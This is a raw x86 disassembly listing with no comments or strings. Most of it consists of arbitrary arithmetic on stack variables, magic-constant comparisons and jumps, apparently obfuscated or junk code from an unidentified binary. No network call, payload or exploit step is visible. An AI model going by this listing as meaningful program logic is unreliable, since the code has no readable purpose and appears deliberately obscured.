movsx ecx, word [ebp - 0x1208]
sub eax, ecx
mov edx, dword [ebp - 0x5010]
mov word [edx], ax
movsx eax, byte [ebp - 0x17e]
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
add eax, edx
mov byte [0x5a8004], al
mov eax, dword [ebp - 0x5034]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1308]
add ecx, edx
mov word [ebp - 0x1300], cx
mov eax, dword [ebp - 0x509c]
sub eax, dword [ebp - 0x5094]
mov dword [ebp - 0x4f60], eax
mov ecx, dword [ebp - 0x4fcc]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x4ff0]
mov dword [ebp - 0x5094], edx
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [0x5a9b68]
mov edx, dword [eax]
or edx, dword [ecx]
mov eax, dword [ebp - 0x4fc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x5098], eax
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ebp - 0x5074]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x508c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x17b]
xor edx, eax
mov byte [ebp - 0x17d], dl
movzx ecx, word [ebp - 0x12fc]
movzx edx, word [ebp - 0x1304]
and ecx, edx
mov word [ebp - 0x1308], cx
mov eax, dword [ebp - 0x4f94]
add eax, 0x1e
mov dword [ebp - 0x4f94], eax
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x4f60], eax
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x5074]
mov eax, dword [0x5a9b68]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x4f7c], eax
mov ecx, dword [ebp - 0x5094]
sub ecx, dword [ebp - 0x4f60]
mov edx, dword [ebp - 0x4fb0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x508c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x17b], cl
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1308]
sub edx, eax
mov ecx, dword [ebp - 0x5034]
mov word [ecx], dx
movsx edx, word [ebp - 0x12f8]
movsx eax, word [ebp - 0x1208]
add edx, eax
mov word [ebp - 0x130c], dx
mov ecx, dword [ebp - 0x5068]
movsx edx, byte [ecx]
mov eax, dword [0x5a9b60]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x5068]
mov byte [eax], dl
mov ecx, dword [ebp - 0x4fb0]
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [ecx]
add eax, dword [edx]
mov ecx, dword [ebp - 0x501c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5074]
mov ecx, dword [ebp - 0x4fe8]
shl edx, cl
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5068]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x17a]
sar edx, cl
mov byte [0x5a8004], dl
movzx eax, byte [ebp - 0x17d]
movzx ecx, byte [ebp - 0x17b]
xor eax, ecx
mov edx, dword [ebp - 0x508c]
mov byte [edx], al
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [ebp - 0x5098]
or ecx, dword [eax]
mov edx, dword [ebp - 0x4fd4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x501c]
mov ecx, dword [ebp - 0x509c]
and ecx, dword [eax]
mov dword [ebp - 0x4f60], ecx
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [0x5a9b68]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x4fe8], ecx
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x4fb4], ecx
jmp 0x425d39
movsx edx, word [ebp - 0x12f8]
movsx eax, word [ebp - 0x120c]
add edx, eax
movsx ecx, word [ebp - 0x1208]
mov eax, dword [ebp - 0x5010]
movsx eax, word [eax]
sub ecx, eax
cmp edx, ecx
je 0x42615f
lea ecx, [ebp - 0x1300]
mov dword [ebp - 0x50a0], ecx
lea edx, [ebp - 0x17d]
mov dword [ebp - 0x50a4], edx
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [ebp - 0x501c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x509c], edx
movzx eax, word [ebp - 0x1304]
movzx ecx, word [ebp - 0x12fc]
sub eax, ecx
mov word [0x5a8008], ax
mov dl, byte [ebp - 0x140]
mov byte [ebp - 0x50a8], dl
cmp byte [ebp - 0x50a8], 7
je 0x426119
jmp 0x42615d
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [0x5a9b68]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x5074], edx
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [eax]
or edx, dword [ecx]
mov eax, dword [ebp - 0x4fd4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ebp - 0x4fe8]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x5098], edx
jmp 0x42617a
mov eax, dword [ebp - 0x509c]
push eax
mov ecx, dword [ebp - 0x50a4]
mov dl, byte [ecx]
mov cl, byte [ebp - 0x17f]
call fcn.00581890
nop
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4f60]
shl eax, cl
mov ecx, dword [ebp - 0x501c]
mov edx, dword [ebp - 0x4fcc]
mov ecx, dword [ecx]
xor ecx, dword [edx]
cmp eax, ecx
jb 0x426207
mov edx, dword [ebp - 0x5098]
mov dword [ebp - 0x50ac], edx
cmp dword [ebp - 0x50ac], 0
je 0x4261b5
jmp 0x4261f0
mov eax, dword [ebp - 0x4fe8]
and eax, dword [ebp - 0x4fb4]
mov dword [ebp - 0x5074], eax
mov ecx, dword [0x5a9b60]
mov dl, byte [ecx]
mov byte [ebp - 0x180], dl
mov eax, dword [ebp - 0x5010]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x1208]
add ecx, edx
mov word [ebp - 0x130c], cx
jmp 0x426207
movzx eax, word [ebp - 0x1308]
movzx ecx, word [ebp - 0x12f4]
add eax, ecx
mov word [ebp - 0x1304], ax
movsx edx, byte [ebp - 0x180]
movsx eax, byte [ebp - 0x140]
sub edx, eax
movsx ecx, byte [ebp - 0x17a]
movsx eax, byte [ebp - 0x17e]
sub ecx, eax
cmp edx, ecx
jle 0x4262a2
movzx ecx, word [ebp - 0x1304]
mov dword [ebp - 0x50b0], ecx
cmp dword [ebp - 0x50b0], 0x534
je 0x426271
cmp dword [ebp - 0x50b0], 0xdaa
je 0x426252
jmp 0x4262a2
mov edx, dword [ebp - 0x501c]
mov eax, dword [edx]
push eax
mov dl, byte [ebp - 0x17f]
mov ecx, dword [ebp - 0x50a4]
mov cl, byte [ecx]
call fcn.00581890
nop
jmp 0x4262a2
movzx edx, byte [ebp - 0x17b]
movzx eax, byte [ebp - 0x17d]
add edx, eax
mov ecx, dword [ebp - 0x5024]
mov byte [ecx], dl
movzx edx, word [ebp - 0x1304]
mov eax, dword [ebp - 0x50a0]
movzx ecx, word [eax]
add edx, ecx
mov word [0x5a8008], dx
cmp dword [ebp - 0x4fb8], 0xfda0
jb 0x426419
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [ebp - 0x509c]
and eax, dword [edx]
mov ecx, dword [ebp - 0x4fa0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x508c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x4fdc]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x508c]
mov byte [ecx], al
movzx edx, word [ebp - 0x12fc]
mov eax, dword [ebp - 0x50a0]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x1308], dx
mov ecx, dword [ebp - 0x4fb8]
sub ecx, 0xb8
mov dword [ebp - 0x4fb8], ecx
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [edx]
xor eax, dword [ebp - 0x5074]
mov dword [ebp - 0x5098], eax
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [ebp - 0x5094]
or edx, dword [ecx]
mov dword [ebp - 0x4ff0], edx
mov eax, dword [ebp - 0x4fe4]
mov edx, dword [eax]
mov ecx, dword [0x5a9b64]
sar edx, cl
mov dword [ebp - 0x4f7c], edx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4fb4]
mov edx, dword [ebp - 0x4fc0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5024]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x5024]
mov byte [edx], cl
movsx eax, byte [0x5a8004]
mov ecx, dword [ebp - 0x5068]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [0x5a9b60]
mov byte [ecx], al
mov edx, dword [ebp - 0x501c]
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x4fb0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [0x5a9b68]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x4f7c], edx
mov eax, dword [ebp - 0x5010]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x1208]
sub ecx, edx
mov eax, dword [ebp - 0x5010]
mov word [eax], cx
movsx ecx, byte [ebp - 0x140]
movsx edx, byte [ebp - 0x17a]
add ecx, edx
mov byte [ebp - 0x180], cl
mov eax, dword [ebp - 0x50a4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5024]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x50a4]
mov byte [edx], cl
jmp 0x4262a2
mov eax, dword [ebp - 0x50a0]
mov cx, word [eax]
mov word [ebp - 0x1310], cx
mov edx, dword [ebp - 0x4f60]
sub edx, dword [ebp - 0x5094]
mov eax, dword [ebp - 0x4fb0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5060]
and ecx, dword [ebp - 0x5074]
mov dword [ebp - 0x5098], ecx
mov edx, dword [ebp - 0x5050]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x17a]
or eax, ecx
movsx edx, byte [ebp - 0x17c]
movsx ecx, byte [ebp - 0x140]
xor edx, ecx
cmp eax, edx
jne 0x426480
call fcn.005816b0
nop
jmp 0x580b6e
mov edx, dword [ebp - 0x4ff0]
sub edx, dword [ebp - 0x5094]
mov eax, dword [ebp - 0x501c]
mov ecx, dword [ebp - 0x4fb0]
mov eax, dword [eax]
and eax, dword [ecx]
cmp edx, eax
jb 0x4265c7
lea ecx, [ebp - 0x4f60]
mov dword [ebp - 0x50b4], ecx
mov edx, dword [0x5a9b68]
mov eax, dword [edx]
add eax, dword [ebp - 0x5098]
mov dword [ebp - 0x5060], eax
movsx ecx, word [ebp - 0x120c]
mov edx, dword [ebp - 0x5010]
movsx eax, word [edx]
add ecx, eax
movsx edx, word [ebp - 0x12f8]
movsx eax, word [ebp - 0x1208]
sub edx, eax
cmp ecx, edx
jl 0x426589
mov cl, byte [ebp - 0x17b]
mov byte [ebp - 0x50b8], cl
cmp byte [ebp - 0x50b8], 0x79
je 0x426543
cmp byte [ebp - 0x50b8], 0x82
je 0x42650e
jmp 0x426587
mov edx, dword [ebp - 0x508c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x50a4]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x17d], al
movzx eax, word [ebp - 0x12f4]
movzx ecx, word [ebp - 0x12fc]
add eax, ecx
mov edx, dword [ebp - 0x5034]
mov word [edx], ax
jmp 0x426587
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x4fe8], edx
mov eax, dword [ebp - 0x501c]
mov ecx, dword [ebp - 0x509c]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x50b4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x5098], edx
jmp 0x4265c7
mov eax, dword [ebp - 0x5050]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x5068]
movsx eax, byte [edx]
sub ecx, eax
movsx edx, byte [0x5a8004]
movsx eax, byte [ebp - 0x17c]
sub edx, eax
cmp ecx, edx
je 0x4265c7
mov ecx, dword [0x5a9b68]
mov edx, dword [ebp - 0x5098]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x4420], edx
cmp dword [ebp - 0x506c], 0x7631
jbe 0x4268c1
mov eax, dword [ebp - 0x5034]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x12f4]
or ecx, edx
mov word [0x5a8008], cx
mov eax, dword [ebp - 0x5024]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x17d]
and ecx, edx
mov eax, dword [ebp - 0x5024]
mov byte [eax], cl
mov ecx, dword [ebp - 0x5068]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x180]
add edx, eax
mov ecx, dword [ebp - 0x5050]
mov byte [ecx], dl
mov edx, dword [ebp - 0x5010]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x120c]
add eax, ecx
mov edx, dword [ebp - 0x5010]
mov word [edx], ax
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [ebp - 0x501c]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x509c], edx
mov eax, dword [ebp - 0x5060]
sub eax, dword [ebp - 0x4f7c]
mov dword [ebp - 0x5098], eax
mov ecx, dword [ebp - 0x508c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x17f]
add edx, eax
mov ecx, dword [ebp - 0x4fdc]
mov byte [ecx], dl
movzx edx, word [ebp - 0x1300]
mov eax, dword [ebp - 0x5034]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x1304], dx
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x50b4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4fe8]
mov dword [0x5a9b64], ecx
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [edx]
or eax, dword [ebp - 0x5060]
mov dword [ebp - 0x4fb4], eax
mov ecx, dword [ebp - 0x50b4]
mov edx, dword [ebp - 0x509c]
mov ecx, dword [ecx]
shr edx, cl
mov eax, dword [ebp - 0x4fcc]
mov dword [eax], edx
movzx edx, word [ebp - 0x1300]
movzx ecx, word [ebp - 0x1310]
shl edx, cl
mov word [ebp - 0x1308], dx
mov eax, dword [ebp - 0x5024]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x17d], cl
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ebp - 0x5074]
and edx, dword [ecx]
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fb4]
sub ecx, dword [0x5a9b64]
mov edx, dword [ebp - 0x4fe4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [ebp - 0x509c]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x501c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x5098], edx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4fe8]
mov dword [0x5a9b64], ecx
mov edx, dword [ebp - 0x5050]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x180]
and eax, ecx
mov edx, dword [ebp - 0x5050]
mov byte [edx], al
movsx eax, word [ebp - 0x1208]
movsx ecx, word [ebp - 0x12f8]
sub eax, ecx
mov word [ebp - 0x120c], ax
movzx edx, word [ebp - 0x1310]
movzx eax, word [ebp - 0x1300]
add edx, eax
mov word [ebp - 0x1304], dx
mov ecx, dword [ebp - 0x50a4]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x17b]
add edx, eax
mov byte [ebp - 0x17f], dl
mov ecx, dword [ebp - 0x4fcc]
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x5094], eax
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ebp - 0x5074]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x17d]
mov edx, dword [ebp - 0x508c]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x4fdc]
mov byte [edx], cl
mov eax, dword [ebp - 0x5034]
movzx edx, word [eax]
mov eax, dword [ebp - 0x50a0]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x1304], dx
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [0x5a9b68]
mov dword [ecx], eax
mov edx, dword [ebp - 0x506c]
sub edx, 0x86
mov dword [ebp - 0x506c], edx
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [ebp - 0x4fb4]
and ecx, dword [eax]
mov edx, dword [ebp - 0x4fd4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x509c]
add ecx, dword [ebp - 0x4f60]
mov edx, dword [ebp - 0x4fb0]
mov dword [edx], ecx
jmp 0x4265c7
movsx eax, word [ebp - 0x12f8]
mov dword [ebp - 0x50bc], eax
cmp dword [ebp - 0x50bc], 0x7a02
je 0x426904
cmp dword [ebp - 0x50bc], 0x7ba4
je 0x4268e8
jmp 0x426935
movzx ecx, word [ebp - 0x12f4]
push ecx
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
push eax
call fcn.00581f00
add esp, 8
jmp 0x426935
movzx ecx, byte [ebp - 0x17f]
movzx edx, byte [ebp - 0x17b]
add ecx, edx
mov eax, dword [ebp - 0x50a4]
mov byte [eax], cl
mov ecx, dword [ebp - 0x50a0]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1308]
sub edx, eax
mov word [ebp - 0x1310], dx
mov ecx, dword [0x5a9b68]
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ecx]
and edx, dword [ebp - 0x5074]
cmp eax, edx
jle 0x426a2c
movzx eax, word [0x5a8008]
movzx ecx, word [ebp - 0x1308]
or eax, ecx
movzx edx, word [ebp - 0x1310]
mov ecx, dword [ebp - 0x50a0]
movzx ecx, word [ecx]
xor edx, ecx
cmp eax, edx
jl 0x4269de
movzx edx, byte [ebp - 0x17d]
mov eax, dword [ebp - 0x5024]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x508c]
mov byte [eax], dl
movzx ecx, word [ebp - 0x12fc]
movzx edx, word [ebp - 0x1304]
sub ecx, edx
mov word [ebp - 0x1308], cx
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x5094]
mov edx, dword [ebp - 0x50b4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [ebp - 0x501c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x4f60], edx
mov eax, dword [ebp - 0x5074]
and eax, dword [ebp - 0x4f7c]
mov ecx, dword [ebp - 0x4fe4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5068]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x5050]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x17c], al
mov eax, dword [ebp - 0x50a0]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
sub ecx, eax
mov word [0x5a8008], cx
jmp 0x580b5a
movzx ecx, word [ebp - 0x1300]
mov dword [ebp - 0x50c0], ecx
cmp dword [ebp - 0x50c0], 0
je 0x426aa4
cmp dword [ebp - 0x50c0], 0xa9a
je 0x426a53
jmp 0x580a85
mov edx, dword [ebp - 0x5024]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x50a4]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x508c]
mov byte [ecx], al
mov edx, dword [ebp - 0x5074]
xor edx, dword [ebp - 0x5060]
mov dword [0x5a9b64], edx
mov eax, dword [ebp - 0x4ff0]
push eax
movzx ecx, word [ebp - 0x1300]
push ecx
mov edx, dword [ebp - 0x4f7c]
push edx
call fcn.00581290
add esp, 0xc
jmp 0x580a85
mov al, byte [ebp - 0x17d]
mov byte [ebp - 0x50c4], al
cmp byte [ebp - 0x50c4], 0
je 0x426abe
jmp 0x426b5d
mov ecx, dword [ebp - 0x5068]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x5050]
movsx ecx, byte [eax]
sub edx, ecx
movsx eax, byte [ebp - 0x17a]
mov ecx, dword [0x5a9b60]
movsx ecx, byte [ecx]
and eax, ecx
cmp edx, eax
jge 0x426b41
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [0x5a9b64]
add eax, dword [edx]
mov dword [ebp - 0x5074], eax
mov ecx, dword [ebp - 0x5074]
add ecx, dword [ebp - 0x4fe8]
mov edx, dword [ebp - 0x4fd4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [eax]
mov dword [ebp - 0x50c8], ecx
movzx edx, byte [ebp - 0x17d]
movzx eax, byte [ebp - 0x17b]
add edx, eax
mov byte [ebp - 0x17f], dl
mov cx, word [ebp - 0x1308]
mov word [ebp - 0x1314], cx
mov edx, dword [ebp - 0x5068]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x5050]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x17c], al
jmp 0x426b76
movsx eax, word [ebp - 0x12f8]
mov ecx, dword [ebp - 0x5010]
movsx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x120c], ax
mov eax, dword [ebp - 0x5068]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x5050]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [0x5a9b60]
movsx eax, byte [edx]
movsx edx, byte [ebp - 0x17e]
add eax, edx
cmp ecx, eax
jge 0x580947
mov eax, dword [ebp - 0x4fb4]
mov dword [ebp - 0x50cc], eax
cmp dword [ebp - 0x50cc], 0
je 0x426bbe
jmp 0x426c8c
mov ecx, dword [ebp - 0x50b4]
mov edx, dword [ecx]
mov dword [ebp - 0x50d0], edx
cmp dword [ebp - 0x50d0], 0
je 0x426bda
jmp 0x426c74
mov eax, dword [ebp - 0x5010]
movsx ecx, word [eax]
mov dword [ebp - 0x50d4], ecx
cmp dword [ebp - 0x50d4], 0x2d4d
je 0x426c03
cmp dword [ebp - 0x50d4], 0x6da4
je 0x426c60
jmp 0x426c72
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x5060], ecx
mov edx, dword [ebp - 0x4fe8]
sub edx, dword [0x5a9b64]
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
movzx edx, byte [ebp - 0x17b]
mov eax, dword [ebp - 0x508c]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x17f], dl
movzx edx, word [ebp - 0x1304]
movzx ecx, word [ebp - 0x12f4]
sar edx, cl
mov eax, dword [ebp - 0x50a0]
mov word [eax], dx
jmp 0x426c72
mov ecx, dword [ebp - 0x4f7c]
or ecx, dword [ebp - 0x5098]
mov dword [0x5a9b64], ecx
jmp 0x426c8a
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
xor eax, dword [ebp - 0x4fb4]
mov ecx, dword [ebp - 0x4fd4]
mov dword [ecx], eax
jmp 0x426cb6
mov edx, dword [ebp - 0x5074]
and edx, dword [0x5a9b64]
mov dword [ebp - 0x4420], edx
movzx eax, word [ebp - 0x12f4]
push eax
movzx ecx, byte [ebp - 0x17d]
push ecx
call fcn.00581f00
add esp, 8
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [edx]
mov dword [ebp - 0x50d8], eax
cmp dword [ebp - 0x50d8], 0
je 0x426d2e
cmp dword [ebp - 0x50d8], 0x541dafb0
je 0x426cde
jmp 0x580888
movzx ecx, byte [ebp - 0x17d]
movzx edx, byte [ebp - 0x17f]
add ecx, edx
mov eax, dword [ebp - 0x5024]
mov byte [eax], cl
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1300]
sub edx, eax
mov word [ebp - 0x12f4], dx
movsx ecx, byte [ebp - 0x17c]
mov edx, dword [ebp - 0x5068]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [0x5a9b60]
mov byte [edx], cl
jmp 0x580888
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x509c]
mov edx, dword [ebp - 0x4fa0]
mov dword [edx], ecx
cmp dword [ebp - 0x4fd8], 0xd87a
jb 0x426ec8
movzx eax, word [ebp - 0x1300]
movzx ecx, word [ebp - 0x12f4]
sar eax, cl
mov ecx, dword [ebp - 0x5034]
mov word [ecx], ax
movzx edx, byte [ebp - 0x17b]
movzx eax, byte [ebp - 0x17d]
or edx, eax
mov byte [ebp - 0x17f], dl
mov ecx, dword [ebp - 0x5074]
xor ecx, dword [ebp - 0x4420]
mov dword [ebp - 0x4fb4], ecx
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [ebp - 0x501c]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x5094], edx
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x4fc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x4420]
mov eax, dword [ebp - 0x4fc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x50a0]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x12fc], dx
mov edx, dword [ebp - 0x5068]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x140]
add eax, ecx
mov edx, dword [0x5a9b60]
mov byte [edx], al
mov eax, dword [ebp - 0x501c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x50c8]
mov dword [ebp - 0x4ff0], ecx
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
and eax, dword [ebp - 0x5060]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
movsx edx, word [ebp - 0x130c]
movsx eax, word [ebp - 0x12f8]
add edx, eax
mov ecx, dword [ebp - 0x5010]
mov word [ecx], dx
mov edx, dword [ebp - 0x4fd8]
sub edx, 0x4b
mov dword [ebp - 0x4fd8], edx
mov eax, dword [ebp - 0x5050]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x140]
sub ecx, edx
mov byte [ebp - 0x17c], cl
movzx eax, word [ebp - 0x12fc]
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x1310], ax
mov eax, dword [ebp - 0x508c]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x17b]
sub ecx, edx
mov byte [ebp - 0x17d], cl
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [ebp - 0x50b4]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x509c], edx
jmp 0x426d44
movzx eax, word [ebp - 0x12f4]
movzx ecx, word [ebp - 0x1314]
xor eax, ecx
movzx edx, word [ebp - 0x1300]
mov ecx, dword [ebp - 0x50a0]
movzx ecx, word [ecx]
or edx, ecx
cmp eax, edx
jle 0x426f3e
mov edx, dword [ebp - 0x5060]
sub edx, dword [ebp - 0x4f7c]
mov dword [ebp - 0x5074], edx
mov eax, dword [ebp - 0x5098]
sub eax, dword [ebp - 0x4fb4]
mov ecx, dword [0x5a9b68]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4f60]
add edx, dword [ebp - 0x50c8]
mov dword [ebp - 0x5094], edx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [ebp - 0x5060]
add ecx, dword [eax]
mov edx, dword [ebp - 0x4fc0]
mov dword [edx], ecx
jmp 0x426f8f
lea eax, [ebp - 0x17f]
mov dword [ebp - 0x50dc], eax
movzx ecx, word [ebp - 0x1310]
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
